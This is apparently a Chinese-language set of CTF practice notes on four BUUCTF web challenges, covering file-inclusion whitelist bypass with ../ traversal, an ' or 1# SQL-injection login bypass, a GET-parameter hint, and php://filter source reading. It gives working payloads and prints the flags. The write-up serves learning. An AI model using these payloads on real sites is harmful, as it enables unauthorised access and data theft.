BUUCTF 刷题笔记——Web 0

[HCTF 2018]WarmUp

启动靶机

  • 只有一张大黄猥琐斜眼笑脸出现,查看图片发现图片储存在 SM.MS 图床上(这不重要)。

查看源码

  • 然后,F12 查看源码,界面如下,可以看到右侧代码框内有一行绿色的耀眼文字。应该是线索?

  • 在浏览器地址栏后方加上 /source.php 就可以访问文件。至于为什么,先挖个坑。

  • 回车后我们就会得到以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
  • 显然,接下来就要进行代码审计了,那么,什么是代码审计呢?

    顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。

    —— 百度百科

代码审计

  • 在一开始,我们不难注意到这里定义了一个白名单数组,我们可以访问一下,万一有线索呢~
1
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  • 在浏览器地址栏把 source.php 改成 hint.php 即可,然后可以看到一串字符,虽然不是答案,但是我们得到了一个线索,flag 在 ffffllllaaaagggg 里面。
1
flag not here, and flag in ffffllllaaaagggg

  • 返回继续看刚才的代码,最下方有一小块代码,先解决他。
1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
  • $_REQUEST['file'] 不认识是什么,先称他为 ¥

  • if 语句判断三个条件

    1. ¥非空(! empty()
    2. ¥是字符串(is_string()
    3. ¥通过 checkFile() 函数且返回 trueemmm::checkFile()
  • 如果¥不满足三大条件程序就会输出这个图片(echo);而如果程序满足三大条件,程序就会 include 他。

  • 不知道 include 干嘛用,但是可以打开这个链接 https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg ,发现这就是网页上显示的大黄猥琐斜眼笑脸,显然,¥现在不满足三大条件,而要让网页发生点别的,就得让¥满足,我们先从 checkFile() 函数入手。

  • 现在我们分析这个函数

第一个代码块

1
2
3
4
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

依然是 if语句 的判断:如果 $page 满足

  1. 不存在或值为NULL(! isset())
  2. 不是字符串(!is_string())

其中之一,则输出 "you can't see it" 并返回 false 。大问题,我们不能让他执行。

第二个代码块

1
2
3
if (in_array($page, $whitelist)) {
return true;
}

依然是 if语句 的判断:如果 $page 存在于 $whitelist 也就是一开始定义得白名单数组中,就返回 true。这个可以让他执行。

第三个代码块

1
2
3
4
5
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);

这里给 $_page 赋了个什么值:

mb_substr() 函数负责获取部分字符串;

mb_strpos() 函数负责查找字符串在另一个字符串中首次出现的位置;

PHP 中,字符串后的 '.' 为并置运算符,表示连接两个字符串;

因此,mb_strpos 返回的是 $page 字符串中的字符 '?' 之前的所有字符串,又因为字符串末尾置了一个 '?' ,若原字符串中不含 '?' 则会返回原字符串。

第四个代码块

1
2
3
if (in_array($_page, $whitelist)) {
return true;
}

这里重复了第二个代码块的内容,但是这次判断的是 $_page ,若存在于白名单中则返回 true。也可以让他执行。

第五个

1
$_page = urldecode($page);

urldecode() 函数负责解码 URL 编码的字符串,这里将解码后的代码赋给了 $_page

第六个代码块

1
2
3
4
5
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);

这里重复了第三个代码块的内容,但是这次截取的是 $_page 自己的内容。

最后一部分

1
2
3
4
5
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;

程序再次检查修改后的 $_page 是否在白名单中,若在,则返回 true 。若不在,则输出 "you can't see it" 并且返回 false

  • 也就是说,若要 checkFile() 函数返回 true ,则必须控制 $page 参数不为空且为字符串,然后在三次判断是否在白名单中的任意一次让他存在于白名单中即可。而此时,白名单中只有两个成员:source.phphint.php

  • 所以 $page 是什么呢?

    1
    emmm::checkFile($_REQUEST['file'])

​ 从这段代码可以看出,$page 就是 $_REQUEST['file'] ,而 $_REQUEST 是用于收集HTML表单提交的数据,属于PHP的超级全局变量。总之,他负责接收名为 file 的变量并且进行一次解码。而我们需要做的,就是给 file 赋一个字符串,并且让 checkFile() 函数返回 true

  • 那么 file 的内容需要有什么?

​ 在之前我们尝试访问白名单文件时,得到了一个提示:flag in ffffllllaaaagggg ,而我们的最终目的,就是让这个参数被 include 进去。这里利用的其实就是 文件包含漏洞 ,通过 include 包含并打开 ffffllllaaaagggg 即可。因此给 file 赋的字符串必须为包含文件 ffffllllaaaagggg 的路径名。

​ 接下来我们需要让 checkFile() 返回为 true ,由于必须包含 ffffllllaaaagggg ,因此第一个白名单判断肯定无法使用,而第二个 if语句可以。因为第二次判断之前,程序对字符串进行了截取,我们只需保证 ? 之前为白名单成员即可。

当然,也可以用第三个if语句,不过因为调用了 urldecode(page) 对连接进行了二次解码,因此后面需要用 %253f (‘?’ 的二次编码)代替白名单元素后面的 ?

​ 因此,file 可以取值为:

1
file=hint.php?ffffllllaaaagggg

​ 或者是:

1
file=source.php?ffffllllaaaagggg

​ 但是,由于我们需要通过 include 打开文件,但是我们需要的文件并不一定在当前目录下,因此,如果打开失败,可在文件名前加 ../ 用来转到上一层目录查找。比如:

1
file=source.php?../ffffllllaaaagggg

​ 仍无法找到可自行增加 ../ 继续向上层目录查找即可。

  • 那么,怎么把参数传到网页呢?

​ 通过在 url 后以 ? 引导来添加参数,而且不同参数可用 & 分隔。即可以在地址栏输入以下内容则传参成功:

1
https://靶机地址?file=hint.php?ffffllllaaaagggg

​ 一般用 payload 来表示后面这段参数:file=hint.php?ffffllllaaaagggg

开始夺旗(Flag)

​ 将刚才得到的 payload 输入到浏览器地址栏之后,记得加 ? 。可以看到浏览器显示空页面,因为文件并不在当前目录下,因此我们需要添加 ../ 来继续查找,可能会需要多个。

​ 在添加五个 ../ 之后,终于得到了我们的 Flag

​ 所以,最终的 payload 为:

1
file=hint.php?../../../../../ffffllllaaaagggg

​ 或者:

1
file=source.php?../../../../../ffffllllaaaagggg

​ 当然还有:

1
file=source.php%253f../../../../../ffffllllaaaagggg

自此,夺旗成功。

[极客大挑战 2019]EasySQL

启动靶机

  • 进入一个黑客背景的登录界面,需要用户名和密码,界面做得挺好看,就是看不到 flag

查看源码

  • 看不出什么东西,所以直接浏览器右键查看源码,源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<!DOCTYPE html>
<html>

<style>
.slickButton3 {
margin-right:20px;
margin-left:20px;
margin-top:20px;
margin-bottom:20px;
color: white;
font-weight: bold;
padding: 10px;
border: solid 1px black;
background: #111111;
cursor: pointer;
transition: box-shadow 0.5s;
-webkit-transition: box-shadow 0.5s;
}

.slickButton3:hover {
box-shadow:4px 4px 8px #00FFFF;
}
img {
position:absolute;
left:20px;
top:0px;
}
p {
cursor: default;
}
.input{
border: 1px solid #ccc;
padding: 7px 0px;
border-radius: 3px;
padding-left:5px;
-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075);
box-shadow: inset 0 1px 1px rgba(0,0,0,.075);
-webkit-transition: border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;
-o-transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;
transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s
}
.input:hover{
border-color: #808000;
box-shadow: 0px 0px 8px #7CFC00;
}
</style>

<head>
<meta charset="UTF-8">
<title>用户登陆</title>
</head>
<body background="./image/background.jpg" style="background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;" >
<form action="check.php" method="GET">
<div>
</br></br></br></br>
<p style="font-family:arial;color:white;font-size:20px;text-align:center;font-family:KaiTi;">我是cl4y,是一个WEB开发程序员,最近我做了一个网站,快来看看它有多精湛叭!</p>
</br></br></br></br></br></br></br>
<p style="font-family:arial;color:white;font-size:20px;text-align:center;">用户名:</p>
<div align="center"><input type="text" name="username" style="text-align:center;" class="input" /></div>

<p style="font-family:arial;color:white;font-size:20px;text-align:center;">密 码:</p>
<div align="center"><input type="text" name="password" style="text-align:center;" class="input" /></div>

<div align="center">
<input type="submit" value="登录" class="slickButton3">
</div>
</div>
</form>

<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>

</body>
</html>


  • <style> 标签部分可以不看,他在 html 中负责定义页面样式,对解题没有帮助。需要注意的是注意下面 <body> 标签内,有一个占用很大部分的 <form> 标签。<form> 用于创建表单,也就是说,我们的登录信息应该会通过这里传递。
  • 可以注意到,<form> 标签内有两个参数,他们表示用 GET 方法提交到 check.php 页面。
1
<form action="check.php" method="GET">

method 负责设置提交的方法,一共有两种方法:POST 方法 和 GET 方法。

POST 方法

  • POST数据放在body(POST提交的数据则放在实体数据),POST请求数据不能被缓存下来
  • POST请求参数不会被保存在浏览器历史或 web 服务器日志中。
  • POST请求没有长度限制

GET 方法

  • 通过GET提交数据,用户名和密码将明文出现在URL上,因为登录页面有可能被浏览器缓存,GET请求请提交的数据放置在HTTP请求协议头
  • 或者其他人查看浏览器的历史纪录,那么别人就可以拿到你的账号和密码了,除此之外,使用GET提交数据还可能会造成Cross-site request forgery攻击,所以不安全
  • GET请求有长度限制
  • 在网页中测试输入用户名和密码分别为 1123 ,可以在地址栏中看到我们提交的数据,并且可以发现,我们所在的页面就是 check.php 。且参数名分别为 usernamepassword

  • 显然,接下来我们就需要使用 SQL注入 ,那么,什么是 SQL注入 呢?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

—— 百度百科

SQL注入

  • 在数据库查询的时候,一般会使用如下语句:
1
select * from user where username='&username&'and password='&password&'

where 用于规定选择的标准。

&username&&password& 分别为用户传入的用户名和密码,如果能在数据库中查询到则返回真值并通过验证。因此,其实只需要让 username='&username&'and password='&password&' 语句为真即可。

  • 如果我们在用户名处输入类似于 ' or 1 这样的字符串,那么查询语句就会变成这个样子:
1
select * from user where username='' or 1'and password='&password&'
  • 但是这里就会多出一个单引号,服务器将会报错,因此这里我们需要用到注释,用 # 将后面的代码注释掉,就能正确返回真值了。用户名改为 ' or 1# 于是我们得到如下代码:
1
select * from user where username='' or 1#'and password='&password&'

当然,也可以用类似的方法修改密码。

开始夺旗(Flag)

  • 在用户名处输入 ' or 1# ,由于密码不能为空,因此顺便输入一个密码。登录即可。

也可以直接修改 url ,但是空格需要使用 + 表示。

可以看到 '# 被自动替换为了转义码 %27%23 ,我们在输入时也可以直接使用转义码输入。

自此,夺旗成功。

[极客大挑战 2019]Havefun

启动靶机

  • 打开进入如下页面,只有一只小猫在中间,戳它会有反应呢(这不重要)!除此之外,连个可以点的地方都没有~

查看源码

  • 什么都看不到,所以还是直接查看源码吧。源码好长一段,大部分都是界面设计代码,但是主题代码里有一段瞩目的注释:

    1
    2
    3
    4
    5
    6
    7
    <!--
    $cat=$_GET['cat'];
    echo $cat;
    if($cat=='dog'){
    echo 'Syc{cat_cat_cat_cat}';
    }
    -->
  • $_GET 变量用于收集来自 method="get" 的表单中的值。if 语句判断表单中 $cat 变量是否与 dog 相等,相等则输出 Syc{cat_cat_cat_cat} 。虽然不懂有没有什么用,但可以试试看。

测试提示

  • url 后加上 ?cat=dog ,回车查看。貌似,答案出来了……

开始夺旗(Flag)

  • 嗯对确实就是刚才得到的答案

自此,夺旗成功。

[ACTF2020 新生赛]Include

启动靶机

  • 打开靶机,页面只有一行 tips ,并且指向一个链接。

分析页面

  • 点击链接,跳转出的新页面仅有一行 Can you find out the flag? 且上述链接仅在 URL 后添加了 ?file=flag.php

  • 根据 URL 的变化判断为文件包含漏洞,我们只需读取 flag.php 文件即可。

读取文件

  • 查询资料得知,php://filter 与包含函数结合时,php://filter 流会被当作php文件执行。

    php://filter

    • php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents() , 在数据流内容读取之前没有机会应用其他过滤器。

    • php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

      名称描述
      resource=<要过滤的数据流>这个参数是必须的。它指定了你要筛选过滤的数据流。
      read=<读链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(`
      write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(`
      <;两个链的筛选列表>任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。
    —— PHP手册
  • php://filter 需要加上读取代码,比如 read=convert.base64-encode ,用 base64 编码输出,不然会直接当做php代码执行,而无法查看源代码内容。

  • 综上,构造Payload :

    1
    ?file=php://filter/read=convert.base64-encode/resource=flag.php

开始夺旗(Flag)

  • 将上述 Payload 加入URL中,得到如下 base64 编码的字符:

    1
    PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MGFkNTg1NDAtZDc0ZC00MWU4LWJkYjQtMDlmNmUxZTNiZjAxfQo=

  • base64 字符解密,得到源代码,其中包含 Flag

    1
    2
    3
    <?php
    echo "Can you find out the flag?";
    //flag{0ad58540-d74d-41e8-bdb4-09f6e1e3bf01}

  • 自此,夺旗成功。